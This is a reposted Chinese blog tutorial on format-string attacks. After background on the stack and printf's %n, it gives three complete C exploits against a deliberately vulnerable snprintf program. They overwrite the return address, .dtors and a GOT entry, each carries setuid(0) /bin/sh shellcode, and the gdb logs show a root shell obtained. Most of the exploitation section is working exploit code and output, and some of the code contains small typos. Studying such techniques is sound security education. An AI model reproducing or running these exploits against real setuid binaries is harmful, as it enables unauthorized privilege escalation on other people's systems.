注册 | 登录 忘记密码? 51cto首页 | 博客 | 论坛 | 招聘
热点文章 用了十年的QQ号,第二次被..
 帮助

格式化字符串攻击笔记


2007-03-11 07:19:08
 标签:格式化   [推送到技术圈]

No.1  [+== 格式化字符串攻击笔记 ==+]
[+== 格式化字符串攻击笔记 ==+]


[-== By Bytes[at]ph4nt0m.net ==-]

[#== HP:http://www.ph4nt0m.net/ ==#]

[data]:2004-03-01 ^_^

+\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\+

{0x01}.关于本文.

学习format strings attacking技术已经有一段时间了,期间做过多次笔记,但由于一些原因都比较凌
乱.最近上网成了难题,反而有时间认真的回顾一下(P.S.想学点东西,还真得少上网,上多了容易浮躁:),写下
此文,仅供日后自己参阅及方便和我一样的入门者.
阅读此文你必须有c/c++/asm语言基础,少许关于堆栈的知识.这将有助于你对于此文的理解.
由于本人水平有限,错误之处难免,还请不吝指出,顿首作谢:P

测试平台:Redhat 8.0
gcc version 3.2 20020903(Red Hat Linux 8.0 3.2-7)

{0x02}.背景知识.

Section[1].堆栈知识.
关于堆栈是一个抽象的概念,通常是内存中一个存储动态数据的区域.通常他是在内存的高端的.他的特
性就是我们常说的,后进先出.对于一个被调用的函数,首先被压入堆栈的是它的参数,然后是EIP中的内容(常
说的RET),接着压入EBP,EBP通常指向栈底,然后把当前的ESP拷贝到EBP,最后ESP减去一个整数,这样堆栈就
被扩大了.关于堆栈细节请查阅其他文献.

附图示:

| EBP | EIP | arg...| data |...| EBP | EIP|


Section[2].漏洞成因.
此问题牵扯到*printf系列函数的两个主要特性:
(1)参数个数无法确定.
在我们使用*printf系列函数的时候,参数的个数自然是不固定的.比如我们可能输出5个数据,也可能输
出三个,这个视具体情况而定.正常情况下,我们输出5个数据的时候自然也对应地给出五个格式化说明符.如
果格式化说明符,和需要输出的相应数据一一对应,自然也就不存在格式化字符串攻击的问题.但如果出现如
下情况:
int x=2,y=3;
char *s="BBBB";
printf("x=%d y=%d s=%s %s",x,y,s);
这时候,就存在了格式化字符串的问题,总结一下,也就是当格式化说明符个数和待输出变量不对应的时候就
存在格式化字符串问题.
(2)%n格式符允许写入指定数据.
上面提到的例子基本上只能做到偷窥堆栈中数据,了解堆栈结构的目的.而和利用格式化字符串漏洞攻击
还是有一定距离的,因为只能做"传说"中的read anywhere是无法改变程序流程的,不改变程序流程,就无法
让程序按照我们的意愿执行下去.:)
但是很幸运*printf的%n格式化说明符它允许向后面一个存储单元写入前面输出数据的总长度,那么只
要前面输出数据的长度(这个长度的控制可以利用格式化说明符的特性,比如%.200d,这样我们就可以控制输
出数据长度为200了,想象一下如果我们用%f.呢?嗬嗬,堆栈地址固然很大,但是我们应该可以构造足够的
%f....用来到达我们需要改写的存储单元)等于我们需要程序跳转到的那个地址(通常是shellcode+nop的区
域),而%n恰到好处的将这一地址写入适当位置,那么我们就可以按照我们的意愿改变程序流程了.:)
不过这里有一点需要注意,如果格式化字符串攻击时覆盖函数的返回地址,那么实际上我们是去覆盖存储
这个函数返回地址的那块存储空间.也就是说我们是间接的覆盖.这一点很重要,不能混淆.回想一下C语言的指
针.:)

{0x03}.漏洞利用.

目前比较常用的利用方法:
1)覆盖函数返回地址.
2)覆盖.dtors list
3)覆盖GOT
4)Return into libc

当然还有其他的一些方法,但因为我个人感觉通用性略有不足,所以留待下次写补充的时候再详细写入笔记吧.

本文采用的一个存在问题的程序:(Thax:www417)

/*
fvul2.c:
Simple format strings Vulnerability program of snprintf
*/
#include

int main(int argc, char **argv)
{
char buf[100];
int x;
snprintf(buf,sizeof(buf),argv[1]);
buf[sizeof(buf)-1] = 0;
printf("buffer (%d):%s\n", strlen(buf), buf);
printf("x is %d hex is %#x (@ %p)\n", x, x, &x);
M return 0;
}


1)覆盖函数返回地址.

格式化字符串攻击中覆盖函数返回地址通常有两种选择:1.覆盖临近的一个函数(调用该函数的函数)的
返回地址.2.覆盖*printf()系列函数自身的返回地址.在这个例子中,两种方式都作了简单分析,并且给出覆
盖*prinf()系列函数自身返回地址的Exploit,这样当这个函数执行完毕返回的时候,就可以按照我们的意愿
改变程序的流程了.使用这种技术的时候我们需要知道以下几个信息:
1.堆栈中存储函数的返回地址的那个存储单元的地址.
2.shellcode的地址

写入的时候,由于不可能一次性的将2的地址写入1,我们只能分两次来写.调试如下:

1.该例中为覆盖main()返回地址:
[root@Bytes-WorkStation t2]# gdb -q fvul2 #加载存在问题的程序
(gdb) b *main #main函数处设置断点
Breakpoint 1 at 0x804838c
(gdb) x/i main
0x804838c
: push %ebp
(gdb) r BBBB
Starting program: /root/test/Bytes-Attack-Lab/format/t2/fvul2 BBBB

Breakpoint 1, 0x0804838c in main ()
(gdb) x/wx $esp
0xbffff92c: 0x420158d4 #main函数返回地址存放在0xbffff92c处(正常情况下).这个
#地址里面存储的内容也就是我们想要改写的.
(gdb)

依据上面阐述的原理,我们利用精心构造的格式化说明符将shellcode的地址写入0xbffff92c,当main返回时
我们的shellcode便可以执行.

2.覆盖*printf()系列函数自身的返回地址:
相较上面的利用方法,该利用方法具有更高的精确度,且即便是在条件相当苛刻的情况下也可以使用.

[root@Bytes-WorkStation t2]# gdb -q fvul2
(gdb) disass main
Dump of assembler code for function main:
0x804838c
: push %ebp
0x804838d : mov %esp,%ebp
0x804838f : sub $0x88,%esp
0x8048395 : and $0xfffffff0,%esp
0x8048398 : mov $0x0,%eax
0x804839d : sub %eax,%esp
0x804839f : sub $0x4,%esp
0x80483a2 : mov 0xc(%ebp),%eax
0x80483a5 : add $0x4,%eax
0x80483a8 : pushl (%eax)
0x80483aa : push $0x64
0x80483ac : lea 0xffffff88(%ebp),%eax
0x80483af : push %eax
0x80483b0 : call 0x80482cc
0x80483b5 : add $0x10,%esp #<---返回地址
0x80483b8 : movb $0x0,0xffffffeb(%ebp)
0x80483bc : sub $0x4,%esp
0x80483bf : lea 0xffffff88(%ebp),%eax
0x80483c2 : push %eax
0x80483c3 : sub $0x4,%esp
0x80483c6 : lea 0xffffff88(%ebp),%eax
0x80483c9 : push %eax
---Type to continue, or q to quit---
0x80483ca : call 0x804829c
0x80483cf : add $0x8,%esp
0x80483d2 : push %eax
0x80483d3 : push $0x8048448
0x80483d8 : call 0x80482bc
0x80483dd : add $0x10,%esp
0x80483e0 : lea 0xffffff84(%ebp),%eax
0x80483e3 : push %eax
0x80483e4 : pushl 0xffffff84(%ebp)
0x80483e7 : pushl 0xffffff84(%ebp)
0x80483ea : push $0x8048457
0x80483ef : call 0x80482bc
0x80483f4 : add $0x10,%esp
0x80483f7 : mov $0x0,%eax
0x80483fc : leave
0x80483fd : ret
0x80483fe : nop
0x80483ff : nop
End of assembler dump.
(gdb)
(gdb) b *0x80483b0 #<---snprintf入口地址
Breakpoint 1 at 0x80483b0
(gdb) r BBBB
Starting program: /root/test/Bytes-Attack-Lab/format/t2/fvul2 BBBB

Breakpoint 1, 0x080483b0 in main ()
(gdb) i reg $eax $esp $ebp
eax 0xbffff8b0 -1073743696
esp 0xbffff890 0xbffff890
ebp 0xbffff928 0xbffff928
(gdb) x/20x 0xbffff870
0xbffff870: 0x4000a01f 0x40012d74 0x00000000 0x0177ff8e
0xbffff880: 0xbffff920 0x400126e0 0x00000000 0x00000000 #<--- ***
0xbffff890: 0xbffff8b0 0x00000064 0xbffffab3 0x00000000
0xbffff8a0: 0x4212a364 0x00000369 0x4200dbb3 0x420069e8
0xbffff8b0: 0x4212a2d0 0xbffffa87 0xbffff974 0xbffff8f4
(gdb) si
0x080482cc in snprintf ()
(gdb) x/8x 0xbffff870
0xbffff870: 0x4000a01f 0x40012d74 0x00000000 0x0177ff8e
0xbffff880: 0xbffff920 0x400126e0 0x00000000 0x080483b5 #<---上面"***"处已经变为 0x080483b5
(gdb) x/wx 0xbffff88c
0xbffff88c: 0x080483b5
(gdb)

也就是说0xbffff880+c=0xbffff88c是存放snprintf返回地址的地方.当然我们可以更直白一些:
[root@Bytes-WorkStation t2]# gdb -q fvul2
(gdb) x/i snprintf
0x80482cc : jmp *0x8049578
(gdb) b *0x80482cc
Breakpoint 1 at 0x80482cc
(gdb) r BBBB
Starting program: /root/test/Bytes-Attack-Lab/format/t2/fvul2 BBBB

Breakpoint 1, 0x080482cc in snprintf ()
(gdb) x/wx $esp
0xbffff88c: 0x080483b5 #<---snprintf的返回地址

大虾alert7总结过一个计算Linux平台*printf()自身返回地址的公式:返回地址 = 格式化字符串地址 - 垃圾数据个数 * 4 - 8.
由此不难得出exploit,下面给出我的exploit模板:
/*
exp1.c

Exploit:
for fvul2.c
Coder:
Bytes[at]ph4nt0m.net
Thax alert7'code.^_^
Notice:
rewrite snprintf() ret_addr.
*/
#include
#include

#define NOP 0x90
#define BUF_S 2048
#define want_to_w_addr 0xbffff88c
//#define shellcode_addr 0xbffff950

/* setuid(0) shellcode by by Matias Sedalo 3x ^_^ */
char shellcode[] ="\x31\xdb\x53\x8d\x43\x17\xcd\x80\x99\x68\x6e\x2f\x73\x68\x68"
"\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";


int main(void){

char buffer[BUF_S],Buffer[BUF_S * 2],*p;
unsigned Use_addr;
int i,j,ret_1,ret_2;

Use_addr = want_to_w_addr +100;
ret_1 = (Use_addr >> 16) & 0xffff;
ret_2 = (Use_addr >> 0) & 0xffff;
/*由于我们不能一次将地址写入,所以我们只能分开两部分写入.*/
memset(buffer,NOP,sizeof(buffer));
memset(buffer,'B',4);
for(i=0;i < 4;i++){
buffer[i+4] = ((want_to_w_addr+2) >> (i * 8))`& 0xff;
}

memset(buffer,'B',4);
for(j=0;j < 4;j++){
buffer[i+4+j] = ((want_to_w_addr) >> (i * 8)) & 0xff;
}
p = &buffer[8];

if(ret_1 < ret_2){

sprintf(p,"%%.%ud%%6$hn%%.%ud%%7$hn",ret_1 - 8,ret_2 - ret_1);
}else{
sprintf(p,"%%.%ud%%6$hn%%.%ud%%7$hn",ret_2 - 8,ret_1 - ret_2);
}
sprintf(Buffer,"%s%s",buffer,shellcode);
execle("./fvul2","fvul2",Buffer, NULL,NULL);
}


下面我们来看看结果
[root@Bytes-WorkStation t2]# gcc -o exp1 exp1.c
[root@Bytes-WorkStation t2]# ./exp1
Segmentation fault

呼呼,目标程序由于段错误挂掉了,回头仔细想想究竟是什么原因呢?看过alert7前辈<<利用格式化串覆盖*printf()系列函数本身的返回地址>>一文的朋
友一定会想到可能是execle()函数在作怪,但这里其实不仅仅是那个原因,我的exp犯了一个原则性的错误,细心的话应该注意到,本文所使用的那个存在漏
洞的例程的:char buf[100];这个地方,而我们的exp中,构造的buffer却要比这个大许多,这样导致了stack溢出,自然就不能让程序正常执行下去了,呼
呼,实际上,实战状态下大多数情况目标程序是没有那么大的地方允许我们放置我们传递的buffer的,不是目标程序buffer大小的问题,而是通常会对输入
的数据进行一些检测.这里提一个技巧,即对于本地format string可以把shellcode放去环境变量,稍微改动上面的程序就可以了.exp.c就不贴出来了.
希望看到这个文档的朋友自己动手试试看---small buffer format string attacking...外面的资料也很多.



2)覆盖.dtors list
如果你还不明白什么是ELF的.dtors的话,那么我建议你仔细的阅读有关ELF文件格式的文档.你可以在网络中搜索到很多.这里仅就相关内容简单的提
一下.实际上.dtors的作用一句话就可以表述出来(细节当然也并非这么简单),也就是该表中的内容将在main返回的时候被执行.当然我们利用format
string漏洞进行攻击rewrite的是内存映像的.dtors(或许这么表达不是很准确,但也就这个意思).
默认编译的ELF文件都是有这个字段的,除非被strip去掉了.所以这个方法还是更为行之有效的.攻击过程的思路很简单,就是利用format string漏洞
write to anywhere的特点,直接把我们shellcode的地址写入.dtors,"shellcode的地址"可以是一个有效的范围,我们的shellcode位于其中,然后用
NOP填充满,这样可以有效的提高精确度,并且可以考虑把shellcode放入环境变量,这样精度更高,且限制更少.:)


[root@Bytes-WorkStation t2]# objdump -s -j .dtors fvul2

fvul2: file format elf32-i386

Contents of section .dtors:
8049554 ffffffff 00000000 ........

我们可以看到.dtors list 入口地址为:0x8049554,我们需要覆盖的就是0xffffffff所占据的存储单元,也就是0x8049554+4 = 0x8049558这个地址.
由此给出我的Exploit模版:



/*
exp2.c

Exploit:
for fvul2.c
Coder:
Bytes[at]ph4nt0m.net

Notice:
rewrite .dtors.
put shellcode into environment variabel
*/
#include
#include

#define NOP 0x90
#define BUF_S 2048
#define want_to_w_addr 0x8049558 /* .dtors addr = 0x8049554+4 */
#define shellcode_addr 0xbffff8d0 /* shellcode address: 这个和Stack溢出的一个处理方法一样,我是把它放到环境变量里面的,我感觉这样子

成功率会高一点,这个地址可以不必太准确,猜个大致就可以了,理论上你把Buffer定义越大,这个地址越可以不准确,嘿嘿^_^*/



/* setuid(0) shellcode by by Matias Sedalo 3x ^_^ */
char shellcode[] ="\x31\xdb\x53\x8d\x43\x17\xcd\x80\x99\x68\x6e\x2f\x73\x68\x68"
"\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";




int main(void){

char buffer[256];
char buffer_egg[BUF_S];
unsigned low_ret,high_ret,i;
char dec_1,dec_2;
char addr[4];

addr[0] = (want_to_w_addr & 0xff000000) >> 24;
addr[1] = (want_to_w_addr & 0x00ff0000) >> 16;
addr[2] = (want_to_w_addr & 0x0000ff00) >> 8;
addr[3] = (want_to_w_addr & 0x000000ff);

high_ret = (shellcode_addr & 0xffff0000) >> 16;
low_ret = (shellcode_addr & 0x0000ffff);

memset(buffer,0x42,256);
//memset(buffer_egg,0x42,BUF_S);

memset(buffer_egg,NOP,BUF_S - strlen(shellcode));
memcpy (buffer_egg + BUF_S - strlen(shellcode) - 1,shellcode,strlen(shellcode));

if(high_ret < low_ret) {
sprintf(buffer,
"%c%c%c%c%c%c%c%c%%.%ud%%6$hn%%.%ud%%7$hn",addr[3] +

2,addr[2],addr[1],addr[0],addr[3],addr[2],addr[1],addr[0],high_ret - 8,low_ret - high_ret);

}else{

sprintf(buffer,
"%c%c%c%c%c%c%c%c%%.%ud%%6$hn%%.%ud%%7$hn",addr[3] +

2,addr[2],addr[1],addr[0],addr[3],addr[2],addr[1],addr[0],low_ret - 8,high_ret - low_ret);
}
/*里面关于垃圾数据的长度可能需要更改*/
buffer_egg[BUF_S-1]=0x00;
memcpy(buffer_egg,"Bytes2lu=",9);
putenv(buffer_egg);
execl("./fvul2","fvul2",buffer,NULL);
}


测试一下:
[root@Bytes-WorkStation t2]# gcc -o exp2 exp2.c
[root@Bytes-WorkStation t2]# su Bytes
[Bytes@Bytes-WorkStation t2]$ id
uid=501(Bytes) gid=501(Bytes) groups=501(Bytes)
[Bytes@Bytes-WorkStation t2]$ ./exp2
buffer(99):Z?X?0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
x is 1107323368 hex is 0x420069e8(@ 0xbffff0bc)
sh-2.05b# id
uid=0(root) gid=501(Bytes) groups=501(Bytes)
sh-2.05b# exit
exit

成功了,a rootshell.:)


3)覆盖GOT
如果你还不明白什么是ELF的GOT的话,那么我建议你仔细的阅读有关ELF文件格式的文档.你可以在网络中搜索到很多.这里仅就相关内容简单的提
一下.GOT即global offset table全局偏移表,与PLT有着紧密的关联.动态连接器并不会把动态库函数在编译的时候就包含到ELF文件中,仅仅是在这个
ELF被加载的时候,才会把那些动态函库数代码加载进来,之前系统只会在ELF文件中的GOT中保留一个调用地址.其他相关细节请自行查阅相关文献.
攻击思路已经很明显了:

[root@Bytes-WorkStation t2]# objdump -R fvul2

fvul2: file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
0804957c R_386_GLOB_DAT __gmon_start__
0804956c R_386_JUMP_SLOT strlen
08049570 R_386_JUMP_SLOT __libc_start_main
08049574 R_386_JUMP_SLOT printf
08049578 R_386_JUMP_SLOT snprintf

这里我选择覆盖printf()在GOT中的地址也就是0x8049574.Exp则修改上面的exp2即可.


我的Exploit模版如下:

/*
exp3.c

Exploit:
for fvul2.c
Coder:
Bytes[at]ph4nt0m.net

Notice:
rewrite global offset table: &printf
put shellcode into environment variabel
*/
#include
#include

#define NOP 0x90
#define BUF_S 2048
#define want_to_w_addr 0x8049574 /* printf() GOT addr */
#define shellcode_addr 0xbffff8d0 /* shellcode address: 这个和Stack溢出的一个处理方法一样,我是把它放到环境变量里面的,我感觉这样子

成功率会高一点,这个地址可以不必太准确,猜个大致就可以了,理论上你把Buffer定义越大,这个地址越可以不准确,嘿嘿^_^*/



/* setuid(0) shellcode by by Matias Sedalo 3x ^_^ */
char shellcode[] ="\x31\xdb\x53\x8d\x43\x17\xcd\x80\x99\x68\x6e\x2f\x73\x68\x68"
"\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";




int main(void){

char buffer[256];
char buffer_egg[BUF_S];
unsigned low_ret,high_ret,i;
char dec_1,dec_2;
char addr[4];

addr[0] = (want_to_w_addr & 0xff000000) >> 24;
addr[1] = (want_to_w_addr & 0x00ff0000) >> 16;
addr[2] = (want_to_w_addr & 0x0000ff00) >> 8;
addr[3] = (want_to_w_addr & 0x000000ff);

high_ret = (shellcode_addr & 0xffff0000) >> 16;
low_ret = (shellcode_addr & 0x0000ffff);

memset(buffer,0x42,256);
//memset(buffer_egg,0x42,BUF_S);

memset(buffer_egg,NOP,BUF_S - strlen(shellcode));
memcpy (buffer_egg + BUF_S - strlen(shellcode) - 1,shellcode,strlen(shellcode));

if(high_ret < low_ret) {
sprintf(buffer,
"%c%c%c%c%c%c%c%c%%.%ud%%6$hn%%.%ud%%7$hn",addr[3] +

2,addr[2],addr[1],addr[0],addr[3],addr[2],addr[1],addr[0],high_ret - 8,low_ret - high_ret);

}else{

sprintf(buffer,
"%c%c%c%c%c%c%c%c%%.%ud%%6$hn%%.%ud%%7$hn",addr[3] +

2,addr[2],addr[1],addr[0],addr[3],addr[2],addr[1],addr[0],low_ret - 8,high_ret - low_ret);
}
/*里面关于垃圾数据的长度可能需要更改*/
buffer_egg[BUF_S-1]=0x00;
memcpy(buffer_egg,"Bytes2lu=",9);
putenv(buffer_egg);
execl("./fvul2","fvul2",buffer,NULL);
}


测试一下:
[root@Bytes-WorkStation t2]# gcc -o exp3 exp3.c
[root@Bytes-WorkStation t2]# su Bytes
[Bytes@Bytes-WorkStation t2]$ id
uid=501(Bytes) gid=501(Bytes) groups=501(Bytes)
[Bytes@Bytes-WorkStation t2]$ ./exp3
sh-2.05b# id
uid=0(root) gid=501(Bytes) groups=501(Bytes)
sh-2.05b# exit
exit

比较覆盖.dtors的exp和覆盖GOT的exp测试结果我们可以发现这两种技术的不同之处,也就是获取rootshell的"时机"(请原谅我含糊的表述:( )不同.具
体说来就是覆盖.dtors的exp执行的时候,输出为:
buffer(99):Z?X?0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
x is 1107323368 hex is 0x420069e8(@ 0xbffff0bc)
sh-2.05b# id
这说明我们的shell至少是在那两条printf语句之后执行的,实质上是在main结束以后,这里就体现了覆盖.dtors的局限性,以本文例程为例,如果程序在
执行两条printf()语句以后丢弃了root特权,那么我们是无法得到rootshell.而由覆盖GOT的exp的输出信息可知,由于我们选择覆盖printf在GOT中的
地址,程序试图加载printf的代码的时候,就"不幸"执行了我们的shellcode,导致程序流程按照我们的意愿被改变(真正的printf并没有被执行).由此看
来如果可以覆盖GOT,那么覆盖GOT则更有优势,因为我们可以尽可能的选择覆盖程序丢弃root特权之前的函数位于GOT中的地址,这样既便是程序中途丢弃
root特权,我们依然可以得到rootshell.

_EOF


{0x04}.其它.

A.感谢:OYxin,Winewind,www417,Luz成文过程中给予的帮助和鼓励.特别感谢※上弦の月※小姐帮我纠正了文中错别字:P

B.附:
原本打算把4)Return into libc也写入本篇笔记,但是考虑到Return into libc某些时候和绕过系统补丁攻击关联密切,故留待下篇总结format
string攻击技巧,绕过系统补丁,经验体会等等的笔记中再写.


{0x05}.参考文献:

<>En version
<<利用格式化串覆盖*printf()系列函数本身的返回地址>>
<>En version
<>
<>EN version

之前阅读过许许多多的文章,在此仅列出对我帮助最大的.抱歉.:)




    文章评论
 
 

发表评论

昵   称:
验证码:  点击图片可刷新验证码  博客过2级,无需填写验证码
内   容: